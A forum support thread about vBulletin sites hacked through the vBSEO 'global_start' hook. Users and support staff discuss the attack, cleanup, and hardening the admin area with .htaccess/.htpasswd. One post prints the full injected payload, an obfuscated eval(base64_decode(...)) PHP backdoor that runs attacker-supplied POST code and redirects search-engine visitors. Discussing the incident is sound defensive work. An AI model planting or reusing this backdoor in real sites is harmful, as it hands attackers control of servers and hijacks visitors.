Security issue

From vBulletin :

We are aware that this is an issue on some vBulletin sites and believe that it is caused by vbseo. With that said, we continue to investigate on our end as well.

My vBSEO Global Start has this on the bottom of it

eval(base64_decode('JHg9bWQ1KCc5aDdyJyk7aWYoaXNzZXQoJF9QT1NUWyR4XSkpZ XZhbChiYXNlNjRfZGVjb2RlKHN0cl9yb3QxMygkX1BPU1RbJHh dKSkpOw0KaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLDApO2lua V9zZXQoJ2xvZ19lcnJvcnMnLDApOw0KJHI9IWVtcHR5KCRfU0V SVkVSWydIVFRQX1JFRkVSRVInXSkgPyAkX1NFUlZFUlsnSFRUU F9SRUZFUkVSJ10gOiBnZXRlbnYoJ0hUVFBfUkVGRVJFUicpOw0 KaWYoc3RybGVuKCRyKT4xMCkNCnsNCgkkaXA9JF9TRVJWRVJbJ 1JFTU9URV9BRERSJ107JGhuPUBnZXRob3N0YnlhZGRyKCRpcCk 7DQoJaWYoKHN0cnBvcygkaXAsJzY1LjU1LicpIT09MCkmJihzd HJwb3MoJGhuLCdtc25ib3QnKT09PWZhbHNlKSkNCgl7DQoJCSR zPWFycmF5KCdzZWFyY2gubGl2ZS5jb20nLCd3d3cuZ29vZ2xlJ ywnc2VhcmNoLnlhaG9vLmNvbScsJ3d3dy5iaW5nLmNvbScsJ3l hbmRleC5ydScsJ2JhaWR1LmNvbScpOw0KCQlmb3JlYWNoKCRzI GFzICRlKQ0KCQl7DQoJCQlpZigoc3RycG9zKCRyLCRlKSE9PWZ hbHNlKSYmKGVtcHR5KCRfQ09PS0lFWyd2YnNwJ10pKSkNCgkJC XsNCgkJCQkkaD1zdHJ0b3VwcGVyKHN1YnN0cihAbWQ1KCRfU0V SVkVSWydIVFRQX0hPU1QnXSksMCw4KSk7DQoJCQkJZGllKCI8a HRtbD48aGVhZD48L2hlYWQ+PGJvZHk+PHNjcmlwdCB0eXBlPVw idGV4dC9qYXZhc2NyaXB0XCI+dmFyIHZic3A9JyRoJzsiLnN0c l9yZXBsYWNlKCdcXCcsJ1xcXFwnLGd6aW5mbGF0ZShiYXNlNjR fZGVjb2RlKCdYVkxiY3Rvd0VQMFZtcG1PcExGRERNWUc0cnFkQ kpJMnZUZHArMks1SFNFRU9JRHRHQU51a1ArOVI2UXdtY3BlN2R telp5OFBVaHV4b0oNCk4xS3Nza1MybHVDMXZhYzF2Wlk3WlQ0W kdYYkZlb2NsMEF2Ukp2Q0RsWE5CZkZTdDJrSlpWbmdqRm1VU3B EK1ZLdzE2NzM1cTRza25UYW5CDQpUWmNqQVR4U0FiS3lxdGRwK 2R5MmFaUFdXcDZ6TldCOG1FdmlDa1dhaDhJYVNpWjcvTzdLYzh ZN3Z0TEZtZzhQU1U3Y1lSQUl2RGVTUmpyUQ0KMnU1MkYwM0U4Z DltdEFHTmR4OEd6M1E0cndyVVhxUUlhdE9ualdHUXVZcG15WGg vbHhqVlJ0RzdkcWVsWGxsUEFSc2N4QXl5Q2JUQW16OXcNClYxL 1c5a1hsT1NOVVFZbmZBTExybmlDejdtZjdnOHNVLzQvSC9pa2x lZ1B2SUpxQWVnT1o4Wld2RVIvOFEvUS9rRitBSEplMzVoRWxza 1J2DQp3OWlIMzU3TkJqd2dzSVV6N2ppYUhlOG5kb05USHd4bHc 1aXJaN3lSam8zbEFwQW9XNmJ6ekJOMFFpeC95dktEUER6UzZEL 2RnaG9vUXZjZA0KOGhNbzBLUkFOVXByRHYwQ3l4Umh4Y05SN3A yaTdaTG10TXcrdkdCOHFDYVNTaVZoeFQ0eDE0WnQyeUlHdXNRa EcxWTh1d3JtR0REVkFuanMNCk8xSlNJdnRrcHJCZURIZGZCSVJ kU05iUkgxNGlkVkh5b1IvWXl0SHdHeHZaNzVpVDZlMzA3Vjk1V FNsWDhOODJCOVhYVTdNTWZrZktjbEswDQpUdVVGZHRvN2hDeHR XVkI4NDMxdE1iVWNBUHdMZmhXOGNxNzRqY0kycnJjU2JYUzVXV 2tLSk4yNEVmNmlRZlNRblV4YUJMc0JqaSsvcncvRA0KU2VFcnI 3SURIQmJjRmY2cUVvc1hTM3A2c09xanBZejBNLzF3Z3VkTS92T 09aQVlGcGU2ODFvbGV1V1E1cXJmSkdVbEdpOFFNZmUxWXo5QlE nKSkpLiI8L3NjcmlwdD48L2JvZHk+PC9odG1sPiIpOw0KCQkJf Q0KCQl9DQoJfSANCn0'));

I have flagged this for a developer to look at.

i over wrote the xml file for 3.3.2 and the above code is not in global start , i re enabled the product and the redirect is not currently there

My Server People @ Fluid Hosting decoded the script

John T. Yocum: I decoded it, and the code is simply the code used to generate the JavaScript redirect

More from my top notch server peeps

John T. Yocum: Most likely the permissions on the file allowed it to be written to be the web server. So, all the attacker needed was a weakness in one of the site's PHP scripts to run their injection code

If you have any logs (access_log error_log or any mysql binary logs) outlining the attack, please submit them via ticket. We are trying to pinpoint where they are getting in if it is even in vbseo, but so far have not had solid logs files to look at that point a finger at an exact hole.

We believe the code may be being inserted directly via the adminCP. I would suggest to everyone rename their adminCP folder to a custom name (and edit the vb config file accordingly) and to lock down their admincp areas with htpassword protection on top of the standard VB.


/admincp/.htaccess

Code:

AuthUserFile /home/sitepath/above/public_html/.htpasswds/admincp/passwd
AuthName "ACP"
AuthType Basic
Require valid-user

This file should be stored ABOVE public html so that it is NOT web accessible.


/home/sitepath/above/public_html/.htpasswds/admincp/passwd

Code:

username:md5passwordstring

You can make these using a generator, such as
.htpasswd Content Generator


Finally, make sure you have a 401.shtml file in your site root. it can be blank, or use a basic template such as:

Code:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<title>401 - Authentication Failed</title>
</head>

<body>

<h1>401 - Authentication Failed</h1>
<p>
       Your request requires authentication. (Login and password) You may repeat the request with a 
       suitable Authorization header field.  Your browser will likely do this for you.
</p>

<p><!--#if expr="\"$HTTP_REFERER\" != \"\"" -->
       You were referred from <a href="<!--#echo var="HTTP_REFERER" -->"><!--#echo var="HTTP_REFERER" --></a>.
       <!--#else -->
       Please check your request for typing errors and retry.
       <!--#endif -->
</p>
<address>
       If the indicated error looks like a misconfiguration, please inform
       <a href="mailto:<!--#echo var="SERVER_ADMIN" -->"
      SUBJECT="Feedback about Error message [<!--#echo var="REDIRECT_STATUS"
        -->] <!--#echo var="title" -->, req=<!--#echo var="REQUEST_URI" -->">
  <!--#echo var="SERVER_NAME" -->'s WebMaster</A>.
</address>

</body>
</html>

News from me: since I updated "vBSEO :: Sitemap Generator 2.2" to the newest version, I had no longer redirects (before that, i got hacked every few days). Pherhaps the problem ist in this plugin?

I have already been running vBSEO Sitemap Generator 2.5

Originally Posted by Brian Cummiskey

I would suggest to everyone rename their adminCP folder to a custom name (and edit the vb config file accordingly) and to lock down their admincp areas with htpassword protection on top of the standard VB.

Hi,
I did this. And i put in an empty (only index.html) new folder admincp.
At least it should e easy to find any attempt to access this folder in the logs.

Greetings
Christian

Hi,
i try to find "base64" in the logs using "grep".
I put the results in the ticket.

But one basic Question. Is "grep" working also with zipped files?
My Logs are:
other_vhosts_access.log.1
other_vhosts_access.log.2.gz
other_vhosts_access.log.....gz

What cause the problem around 28/2 1/3 must be insight of the .gz.

Greetings
Christian

i would like for VBSEO to let people know of this , i think a lot of people are being taken advantage of right now and don't even know it.

Not making it known is a disservice to all the VBSEO Customers.

I would of liked for someone to let me know about this before i found out myself when 50% of my Google traffic fell off !

In all cases of this exploit VBSEO was the target. Rebuilding the data store to fix the issue is False.

You must go to the global start template and remove the eval(base64_decode........ Code from the bottom of it.

It has yet to come back on my site but im checking it daily.

Even if VBSEO does not want to take credit for this , they should at least send out a mass email to there customers to check there global start template for the hackers code . RATHER ITS VBSEO's Fault or not , that's beside the point !

Were in this together , i don't really care who is responsible i just want it fixed and i want other vbulletin owners to know about this possible issue with there site as well.

I have contacted vBulletin.com about this and any sort of an announcement should come from VBSEO

We have discussed with vbulletin and they do not know the exact method of the exploit either. Other sites, not even runing vb or vbseo, are getting hit with the same thing ( a quick google will show some joomla sites, drupal sites, etc, are being hit with the same code injection into their databases). Because of this, it is highly likely that there is a hole in php, mysql, phpmyadmin, the linux kernel, the networks firewalls, the control panel software, the chown and chmod permissions, writable directories that allow for file excution instead of just storage, and the list goes on and on.... above and beyond just vb/vbseo.

Refreshing the vbseo product fixes it as it rebuilds the plugin cache/datastore when it is run. Other products may not do this.
The plugins database is NOT a vbseo table. global_start is a vb hook. vbseo simply uses it and stores a record there. The hackers probably know this and use it as a means to get into the global_Start hook position as vbseo is a very common mod vs everything else available on .org/etc that may use this hook. Native, vb ships without products enabled at all, and thus no global_start hook will execute.

Should a hole be found in vbseo, a patch/new build will be supplied and an email will be sent to the customerbase. Until that time, it is 'crying wolf' to send around an annoucement of a hole that may or may not exist with no way to fix it. Until that time, we are continuing to ask people to provide server logs with data surrounding the exploit for investigation. So far, our data is inconclusive and incomplete at best. If you have logs, please send in a ticket with them.

Until i get confirmation of a vbulletin site who was attacked in this manner that does not have VBSEO its only rational thinking to consider VBSEO the possible culprit

Is there any sort of php code that we can put after

if(defined('VBSEO_ENABLED'))
vbseo_complete_sec('global_start');

that will ignore anything placed after it ?

Like this

if(defined('VBSEO_ENABLED'))
vbseo_complete_sec('global_start');and ignore everything else

because the code is being placed at the end of the global start

or maybe

if(defined('VBSEO_ENABLED'))
vbseo_complete_sec('global_start');
//